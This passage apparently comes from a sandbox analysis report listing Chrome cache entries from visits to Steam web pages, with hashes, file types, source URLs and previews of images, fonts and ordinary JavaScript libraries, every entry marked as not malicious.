Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam, The Ultimate Online Game Platform</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://store.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english" rel="stylesheet" type="text/css" >.<link href="https://store.akamai.steamstatic.com/public/shared/css/shared_global.css?v=cNFo_SNYcn7k&l=english" rel="stylesheet" type="text/css" >.<link href="https://store.akamai.steamstatic.com/public/shared/css/buttons.css?v=CrrkDubPqLcq&l=english" rel="stylesheet" type="text/css" >.<link href="https://store.akamai.steamstatic.com/public/css/v6/store.css?v=Rzrd3uCdRpEQ&l=english" rel="stylesheet" type="text/css" >.<link href="https://store.akama

Chrome Cache Entry: 411

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 406 x 719, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	503402
Entropy (8bit):	7.996257220777793
Encrypted:	true
SSDEEP:	12288:vyy70uBu8olN1OkoyLscRq3XNDLNLJ10A:vydHOkhhqXdN7
MD5:	EAA918479400786006BC5A37E77075A2
SHA1:	CB892A61D8643B235AC589D9E0FD7A4A97CE56A9
SHA-256:	69A47EA33E7FA0226B9F23B5837A9075F36A0FFC2E7ADC2F5B30F564E1DAD09C
SHA-512:	52BCD20485323C7451FCFBACF51A3E5366031198177CE53815EE031A451219755421DA894EDEB8E26A83EC84D7E52217B26158DDF5B0449BFFE8F286B2238942
Malicious:	false
Reputation:	low
URL:	https://cdn.akamai.steamstatic.com/steam/clusters/about_i18n_assets/about_i18n_assets_0/wallet_card_img_english.png?t=1636143670
Preview:	.PNG........IHDR.............A..4....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:4CE48FD624C911E48BC599859989B32F" xmpMM:DocumentID="xmp.did:4CE48FD724C911E48BC599859989B32F"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4CE48FD424C911E48BC599859989B32F" stRef:documentID="xmp.did:4CE48FD524C911E48BC599859989B32F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>>}M.....IDATx..}...e..=3...g.n6..nz'.!.@H...\|...b...'"*....S.E..J....i...m....:3..3s.l.........kr.3g......WX..;.D..@

Chrome Cache Entry: 412

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3966
Entropy (8bit):	5.142958773271244
Encrypted:	false
SSDEEP:	96:l62ePL5p/6t0hHEcmefouMXQ2AGBm9HWJPon+6i+p:MC2foXg2AGgHWt8
MD5:	76E4C70A57760DE5DB02A53C82B1C74E
SHA1:	5393F2417550ADA806129D85A0335CC3A8C918A7
SHA-256:	1DF1807DE57661ACE09F4F8A4CA7314DF333DA34683FF384BE93270AA6032803
SHA-512:	3BB9DFAF3DA8E6A5D2665156E4CAB88D042230B7C4D6475B3CFBC371B729CBF540FE582EA6D282713088ADBAE9A6A0217EFEC18EBA72BA29BC494E6CA9E0169F
Malicious:	false
Reputation:	low
Preview:	....function BHasShippingStateDropDown()..{...return $J('#shipping_state_select_droplist') && $J('#shipping_state_select_droplist')[0] && $J('#shipping_state_select_droplist')[0].childNodes.length > 1;..}....function Shipping_UpdateStateSelectState()..{...if ( $J('#shipping_country') )...{....if ( BHasShippingStateDropDown() )....{.....$J('#shipping_state_text').hide();.....$J('#shipping_state_select_dselect_container').show();....}....else....{.....$J('shipping_state_text').show();.....$J('shipping_state_select_dselect_container').hide();....}...}..}....function Shipping_VerifyAddressFields( rgBadFields )..{...var errorString = '';...rgBadFields = {....shipping_first_name : false,....shipping_last_name : false,....shipping_address : false,....shipping_city : false,....shipping_state_text : false,....shipping_phone : false,....shipping_postal_code : false,....shipping_state_select_trigger: false...}.....return errorString;..}....function Shipping_VerifyShippingAddress( sessionID, ajax_

Chrome Cache Entry: 413

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65482), with CRLF line terminators
Category:	dropped
Size (bytes):	93637
Entropy (8bit):	5.292996107428883
Encrypted:	false
SSDEEP:	1536:96IzxETpavYSGaW4snuHEk/yosnSFngC/VEEG0vd0KO4emAp2LSEMBoviR+I1z5T:v+vIklosn/BLXjxzMhsSQ
MD5:	E1288116312E4728F98923C79B034B67
SHA1:	8B6BABFF47B8A9793F37036FD1B1A3AD41D38423
SHA-256:	BA6EDA7945AB8D7E57B34CC5A3DD292FA2E4C60A5CED79236ECF1A9E0F0C2D32
SHA-512:	BF28A9A446E50639A9592D7651F89511FC4E583E213F20A0DFF3A44E1A7D73CEEFDB6597DB121C7742BDE92410A27D83D92E2E86466858A19803E72A168E5656
Malicious:	false
Reputation:	low
Preview:	/! jQuery v1.8.3 jquery.com \| jquery.org/license /..(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e\|\|!e.parentNode\|\|e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t\|\|0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t

Chrome Cache Entry: 414

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	44
Entropy (8bit):	4.544325652580697
Encrypted:	false
SSDEEP:	3:hWikj2hkum0KthOU1:AikjDBr
MD5:	6D93FDB56B417B26D61378095110EA11
SHA1:	99C638B5D3CBB852EF664EFC7A1E8282F3997DE9
SHA-256:	D8F0F15132104CAEF0BADCF8657B9CFCC4237F59AC844DE47E297A2F48E43AD9
SHA-512:	6A735A16B22DC3152CB359D47C9E51B1117EA624B573F24B4694734F2F90CBFE7ECF5D3684DBCF9CB08FEC7873C5399AAF58C0174A5B60ED93E3D48F971ADF34
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSFwn2ZtV5zmIo5BIFDYPOwY0SBQ2S9RIrEhAJ48ci2S48zdQSBQ38LUur?alt=proto
Preview:	ChIKBw2DzsGNGgAKBw2S9RIrGgAKCQoHDfwtS6saAA==

Chrome Cache Entry: 415

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 646 x 250, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	4904
Entropy (8bit):	7.899029446643728
Encrypted:	false
SSDEEP:	96:OdBnjzG7DZTxqIfy33nn/qf46vhPQuAgul5SZBsj51v1f:OdBnjwDZTx5fy33no4ShRjuX2sd1vt
MD5:	1E91D02CF5A902F38F2923C006D79281
SHA1:	CB8126B32C2274E0394246B40BD0B7F9F847E44C
SHA-256:	F72611E2DF8E88204009FD896D05D5E8E83C77009C63943BBFFA169559934849
SHA-512:	54B69544DC55ADDC0B2DDC08418D1A0A34240697070FE47FEAE9E915C70D33EF662CE1B7154CBCAD84019D22F3291F138CC7298224D381CC740C2097478D4042
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/localizedimages/googleplaystore/google_play_store_english.png
Preview:	.PNG........IHDR..............+v.....PLTEGpLWWW^^^fffnnnaaaxxx.........sss\\\.........hhhIII**.........sss...444}}}...>>>SSSYYYjjj...}}}^^^ @@@ppp......```000PPP....J$._/'~>$t9.T.5..........................................D4.S1.N....................... ...I..kkk..................zzz....?.......!i4...$]c....2d.:.....:u.B..=.....8.N..nS.:.N.......?/.;.N......=.N~^......^G.?.N....v.@.NO;..j...............<.T/#.5.\..7L...xK.OY.C5.q#.n!.2(9...;/I...?2u"..!...;..X....%...K..7+I..g...&.,..H..G..E..FFu..a.... tRNS.:..........................j...N}......IDATx...Ub.@.E..I71.0.....C.5.............................?...._.r..[........E...v^Ne...E;+..l..n..c...]w..\|r...m>.w=...2..5.+......tW..].........6m.i..).Y.h.B.k....j.......T.l.\.<...T.H2.._...a.....u...e.}.Op...J.....I.j.....>.C...&.tW.T0Kr..I..4.v.].OrSie..!O.......!......!.g..Z.0......r..\|4.h.t..{.............N...fi..-R....LH9#....7I$..$..o.T....8......@A<y..s....K...%Wt.y.z..].i.h...T..l.E6.....S7C

Chrome Cache Entry: 416

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 24 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansLight Italic4.015;Plau;M
Category:	downloaded
Size (bytes):	133600
Entropy (8bit):	6.0674472145735345
Encrypted:	false
SSDEEP:	3072:D0000yU00000p4hvCgblYq4AYpbVvQ8U/VMxLseW8Yafj9:D0000GWCClpnYpxvRamfh
MD5:	07247CBD12D4E4160EFD413823D0DEF8
SHA1:	517A80968AA295D0A700A338C22BA41E3A8B78A7
SHA-256:	41464EFD9A32A5967B30ADDC21FE16CD0A35870FDA56658B531A9A2434B4D829
SHA-512:	27E0E7505D41891E70BD06733F96E82E45061D621A1D20BBC524FC89C5406A799CF53D98C0FA256CB4EBFC19750C9A05531A8D273CEBC260D48948EDFFDF6244
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/fonts/MotivaSans-LightItalic.ttf?v=4.015
Preview:	........... DSIG............GDEF.\|.@...,...:GPOS.r....h...dGSUB.e.........POS/2t.........`cmap.......\|....cvt Ft..... ....fpgm.6!.........gasp............glyf`..........head...1...0...6hhea.......h...$hmtx.[O".......locap.+........maxp.......@... name.H.....`....post.v.....L....prep...........................................w...x.y...z.3.........&.W.............D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J......................................................................................................................................

Chrome Cache Entry: 417

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 24 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansBlack4.015;Plau;MotivaSa
Category:	downloaded
Size (bytes):	120816
Entropy (8bit):	6.070220522864693
Encrypted:	false
SSDEEP:	3072:IrEEEEEueapd0oej1yAHjU/gXG7mGSCfj9:IDpd0oejdQ/gXgfh
MD5:	4F7C668AE0988BF759B831769BFD0335
SHA1:	280A11E29D10BB78D6A5B4A1F512BF3C05836E34
SHA-256:	32D4C8DC451E11DB315D047306FEEA0376FBDC3A77C0AB8F5A8AB154164734D1
SHA-512:	AF959FE2A7D5F186BD79A6B1D02C69F058ECD52E60EBD0EFFA7F23B665A41500732FFA50A6E468A5253BB58644251586AE38EC53E21EAB9140F1CF5FD291F6A5
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Black.ttf?v=4.015
Preview:	........... DSIG............GDEF...4...,...@GPOS..B....l..l.GSUB.d....m.....OS/2w.'.......`cmap.d..........cvt J......0....fpgm.6!.........gasp.......(....glyf...G.......jhead.g.n.......6hhea.r.....(...$hmtx......L....loca.F. ...4....maxp........... nameKN].........post............prep...........................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 418

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (377), with CRLF line terminators
Category:	downloaded
Size (bytes):	34674
Entropy (8bit):	5.421358067509858
Encrypted:	false
SSDEEP:	768:ciJQBnCB/MaberYaWM5tWgFPQVGvKMpEFbW:cMQJu/Mabc4MZPPvKzk
MD5:	3F9FAFDC9C0CDDD25D6E4D046A8D42D3
SHA1:	E277FDA3655E94DDB80F03225EFA7EE8EBD6BB30
SHA-256:	A2ADAD654A0E37C791418E897592D6213B0CBEB73B35C1DE6CA82085C4E79CE9
SHA-512:	012D99F610FBA081390225909D3915361EE5638D71EE507B3D05EB71D05C1489EF1CDC0A39DA1D2D1ADACBDFAC2C279D96EBB47C72273CC2662E06E4378EEBFE
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/crypto/jsbn.js
Preview:	..// Copyright (c) 2005 Tom Wu..// All Rights Reserved...// See "LICENSE" for details...../.. Copyright (c) 2003-2005 Tom Wu.. * All Rights Reserved... .. Permission is hereby granted, free of charge, to any person obtaining.. * a copy of this software and associated documentation files (the.. * "Software"), to deal in the Software without restriction, including.. * without limitation the rights to use, copy, modify, merge, publish,.. * distribute, sublicense, and/or sell copies of the Software, and to.. * permit persons to whom the Software is furnished to do so, subject to.. * the following conditions:.. .. The above copyright notice and this permission notice shall be.. * included in all copies or substantial portions of the Software... .. THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, .. * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY .. * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. .. .. IN NO EVENT SHAL

Chrome Cache Entry: 419

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF, CR line terminators
Category:	downloaded
Size (bytes):	89437
Entropy (8bit):	4.934831850769131
Encrypted:	false
SSDEEP:	1536:LlaY4P+xmlvr+k3mCQHNl9EvOxzXQApcGBPVCGUb6WFA66WqiLOrVQXWl:E1XZEl9EvOxzLcGBkQ1WA
MD5:	31ED48071CE4B62C24520C95BCDE6026
SHA1:	C073152E6835FBA2DED4CC215F3985266BE23F2B
SHA-256:	08B39451EABACA10CD735816CDC5AF4A35B05FBB197E2082235B6E16BE62DEDB
SHA-512:	1CB651EC52D7EB67A961436A48340D0B783BC944CD54008D00E8B26D933D0668380126C6ACAE89EF10906FD96E8DA9ED4EF773DFD9C761F608FF7EBDA5554AE7
Malicious:	false
Reputation:	low
URL:	"https://store.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=Me1IBxzktiwk&l=english&load=effects,controls,slider"
Preview:	// script.aculo.us scriptaculous.js v1.8.1, Thu Jan 03 22:07:12 -0500 2008....// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)..// ..// Permission is hereby granted, free of charge, to any person obtaining..// a copy of this software and associated documentation files (the..// "Software"), to deal in the Software without restriction, including..// without limitation the rights to use, copy, modify, merge, publish,..// distribute, sublicense, and/or sell copies of the Software, and to..// permit persons to whom the Software is furnished to do so, subject to..// the following conditions:..// ..// The above copyright notice and this permission notice shall be..// included in all copies or substantial portions of the Software...//..// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..// NONINFRINGEMENT. IN NO EV

Chrome Cache Entry: 420

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.307354922057605
Encrypted:	false
SSDEEP:	3:WZoS+Nhn:WZoSyh
MD5:	A2432DC721D79CB02E73D270CE7E1EAA
SHA1:	5A3C7BE77E9108ACA1B39E6BCD336EAAE6A51080
SHA-256:	CE43C8C02C05A92B3E20FAB138AAD31B9FD54B92848913449D09924E839BB80E
SHA-512:	0091B8D2F943169BDF1DD01D07A31F683F3B353D4EAADF1F7973AA79A989E349F53D6518AC612A856D89AB1539923C9FFAABB13E7CF8BEDF450E128342FF3298
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSFwl6rUtCoQde5RIFDZFhlU4SBQ01hlQc?alt=proto
Preview:	ChIKBw2RYZVOGgAKBw01hlQcGgA=

Chrome Cache Entry: 421

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65339), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	65881
Entropy (8bit):	4.994268081658709
Encrypted:	false
SSDEEP:	1536:B7aiXrClRYuLGh4iS72wI7CsrpzAuIRmfQ+:9klR7LGh4iS77I7CsmuIRmfQ+
MD5:	47619749A77F1358844215EBF0BD88EB
SHA1:	E1273E426CF013D92378F658BE99F72593559A40
SHA-256:	6323D60A28DCFE5E071C30BF2F4EE94BD3ABA6E7D771F3BC715F3E65626D15A5
SHA-512:	9023246B2914C57C30DBA6410373BE1C2170FE99318D1FFC26B26CC351E25B1110D0B75B7083D0FED258A1F3F45CE1BF045AF3AEDB3D3B6999A9D1B7503B4834
Malicious:	false
Reputation:	low
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/.."use strict";(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[9188],{67519:e=>{e.exports=JSON.parse('{"language":"english","CuratorAdmin_RSSFeed_title":"Manage my RSS Feeds","CuratorAdmin_RSSFeed_desc":"Setting up RSS feeds allows you to automate the Steam Events and Announcement creation from your existing content management platform. Your content from your site will automatically surface to Steam customers who follow you as News. ","CuratorAdmin_RSSFeed_lang_only":"Feed Language:","CuratorAdmin_Curator_lang_only":"NOTE: The curator is set to %1$s language which is different from the feed language of %2$s. Re-save the feed to update to this language.","CuratorAdmin_RSSFeed_lang":"The language is set on the group to \'%1$s\'. If this is not correct, you can edit the group profile and then re-setup this feed.","Cu

Chrome Cache Entry: 422

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (724)
Category:	downloaded
Size (bytes):	551834
Entropy (8bit):	5.646059185430787
Encrypted:	false
SSDEEP:	6144:ytxIUYTteVvs0E8gSdoxS4MLYw1tZnAzsz1I9VBojCdzNDC2vPpD:ybYTZMgGopkAzsz1ciEU2d
MD5:	33AFF52B82A1DF246136E75500D93220
SHA1:	4675754451AF81F996EAB925923C31EF5115A9F4
SHA-256:	B5E8EC5D4DCC080657DEB2D004F65D974BF4EC9E9AA5D621E10749182FFF8731
SHA-512:	2E1BAAE95052737BDB3613A6165589643516A1F4811D19C2F037D426265AA5ADF3C70334C1106B1B0EEF779244389F0D7C8C52B4CD55FCE9BAB2E4FCB0642720
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/xds0rzGrktR88uEZ2JUvdgOY/recaptcha__en.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var z=function(){return[function(v,p,K,u,W,n){if(!((v>>2&(n=[6,"Unknown format requested type for int64",9],n[0])\|\|!U[22](11,this.U(),p)&&this.dispatchEvent("enter")&&this.isEnabled()&&R[23](n[2],this,2)&&R[3](n[0],2,!0,this),v-1)<20&&(v>>1&7)>=4&&(u=new vf,W=R[41](1,p,u,kV,K==p?K:P[8](37,K),5)),v<<1&11))throw Error(n[1]);return W},function(v,p,K,u,W){return((W=[17,7,46],v)<<2&W[1]\|\|(p=function(n){return K.call(p.src,p.listener,n)},K=UJ,u=p),(v-1\|12)<v&&(v-9\|59)>=v)&&(u=M[W[2]](15,p)&&!M[W[2]](13,."iPod")&&!M[W[2]](W[0],K)),((v\|8)&W[1])==1&&(u=p.Y?p.Y:p.I?"application/x-protobuffer":""),u},function(v,p,K,u,W){retu

Chrome Cache Entry: 423

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	dropped
Size (bytes):	88145
Entropy (8bit):	5.291106244832159
Encrypted:	false
SSDEEP:	1536:yTExXUZinxD7oPEZxkMV4SYKFMbRHZ6H5HOHCWrcElzuu7BRCKKBEqBsojZlOPma:ygZm0H5HO5+gCKWZyPmHQ47GKe
MD5:	220AFD743D9E9643852E31A135A9F3AE
SHA1:	88523924351BAC0B5D560FE0C5781E2556E7693D
SHA-256:	0925E8AD7BD971391A8B1E98BE8E87A6971919EB5B60C196485941C3C1DF089A
SHA-512:	6E722FCE1E8553BE592B1A741972C7F5B7B0CDAFCE230E9D2D587D20283482881C96660682E4095A5F14DF45A96EC193A9B222030C53B1B7BBE8312B2EAE440D
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],E=C.document,r=Object.getPrototypeOf,s=t.slice,g=t.concat,u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?n[o.call(e)]\|\|"object":typeof e}var

Chrome Cache Entry: 424

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1057 x 500, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	144661
Entropy (8bit):	7.980843362263581
Encrypted:	false
SSDEEP:	3072:yK02orTG+Saw+pemTN2jo+xInoq3A8sbqYT1h07drn7y1:yK0E+QUzsk+xY3AjhaBn7y1
MD5:	5F16125351B708EE3D1141EB5553CD3D
SHA1:	EF8994F541DEC79086CB998C180D260E1C7DD704
SHA-256:	7BDC6F79DB78360EC0E758B748D745C8F11EE6C93C1F0C5E7D128E1DDCAF35EF
SHA-512:	415B0C586E6B5F5E27FF7D134D01B26A92BC8F9F7F22D0EA8EF77E72A4042B5A66538068E85A00072B87B3C0A8C1DA30205FFAC3808B05DE04582A4E1D017961
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...!...........7.....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:53F0C1D58A4311E6A9CC89E9E7EC36A5" xmpMM:DocumentID="xmp.did:53F0C1D68A4311E6A9CC89E9E7EC36A5"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:53F0C1D38A4311E6A9CC89E9E7EC36A5" stRef:documentID="xmp.did:53F0C1D48A4311E6A9CC89E9E7EC36A5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>4.....1.IDATx..m.,..$.0....-A{.R.fC2i)Z.L;.i../.....7.q.w....UE....... A.....?....v.m..v....._.n..~..w.sf.B._.G..c..

Chrome Cache Entry: 425

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	229
Entropy (8bit):	5.208866791114413
Encrypted:	false
SSDEEP:	6:GXO23whT+t1FQuXX6C8Vo+nViARCa3whT+tAeEM:AO2gst1W1C8VRnEARhgstAeEM
MD5:	5903FB1A517865DCA5A7D37D419249A5
SHA1:	BBD2053A90BB34CC1EA6E4A9BB96A7FE710308A6
SHA-256:	1C59C22822333FD3E2CD5CEF13C3E90D9998493438888D11B23E6A6B9EEFADD1
SHA-512:	28022995614CB23E8463FCF85FC829BAA3F9D9330BBCCA7169B1501194374B806CE9C06E5ED8E1A76799BF1680D01773ECA74F4FC2554029167140A816E67B9F
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/applications/store/login.css?contenthash=31a1587a28aa962de04a
Preview:	............_2kLRmRsLwjGDlm-ZfUpChG{padding-top:80px;padding-bottom:150px;display:flex;flex-direction:column;align-items:center}@media screen and (max-width: 700px){._2kLRmRsLwjGDlm-ZfUpChG{padding-top:12px;padding-bottom:0px}}..

Chrome Cache Entry: 426

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (24681), with CRLF line terminators
Category:	dropped
Size (bytes):	60854
Entropy (8bit):	5.237035743895263
Encrypted:	false
SSDEEP:	1536:AEJpvhd5dY0KEApMyw+l/oOJz9owymlgaUYCOlb+OeaLJIt:AEr5n6EhZkyuLJIt
MD5:	BF7E930C75C0FEC002110E9B34D8AA7D
SHA1:	92EAB00D40336B37E15583EF5D385B6B4E7A0A61
SHA-256:	FB1E3D2F0CB6E7D4E141CA84C8119F9A544C822B0BAF2F94F3073B84576770D8
SHA-512:	BE289CA1EA1355D5AA7508F145A4323FE20F875957CCB410222B7A8258ED4F3E8AFF72D00B1DA20CD04F8A7EFF3FC66C91FBF40EFAD877AED609DBFB039D4449
Malicious:	false
Reputation:	low
Preview:	"use strict";....function CLoginPromptManager( strBaseURL, rgOptions )..{...// normalize with trailing slash...this.m_strBaseURL = strBaseURL + ( strBaseURL.substr(-1) == '/' ? '' : '/' ) + ( this.m_bIsMobile ? 'mobilelogin' : 'login' ) + '/';...this.m_strSiteBaseURL = strBaseURL; // Actual base url, not the login base url above......// read options...rgOptions = rgOptions \|\| {};...this.m_bIsMobile = rgOptions.bIsMobile \|\| false;...this.m_strMobileClientType = rgOptions.strMobileClientType \|\| '';...this.m_strMobileClientVersion = rgOptions.strMobileClientVersion \|\| '';...this.m_bIsMobileSteamClient = ( this.m_strMobileClientType ? true : false );...this.m_bMobileClientSupportsPostMessage = rgOptions.bMobileClientSupportsPostMessage \|\| false;.....this.m_$LogonForm = $JFromIDOrElement( rgOptions.elLogonForm \|\| document.forms['logon'] );.....this.m_fnOnFailure = rgOptions.fnOnFailure \|\| null;...this.m_fnOnSuccess = rgOptions.fnOnSuccess \|\| null;.....this.m_strRedirectURL = rgOptions.strRe

Chrome Cache Entry: 427

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 66 x 66, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5190
Entropy (8bit):	7.95300701431002
Encrypted:	false
SSDEEP:	96:4St6M+qrWBymK0DSKtmauI77CoXFCd3dJG44bzOLgpmijzLe7kcTANTX:4SXrceNaR3J43JG4IzOmmILe7dTAND
MD5:	21D535D86A2AC64ACEB4EF4F81B77544
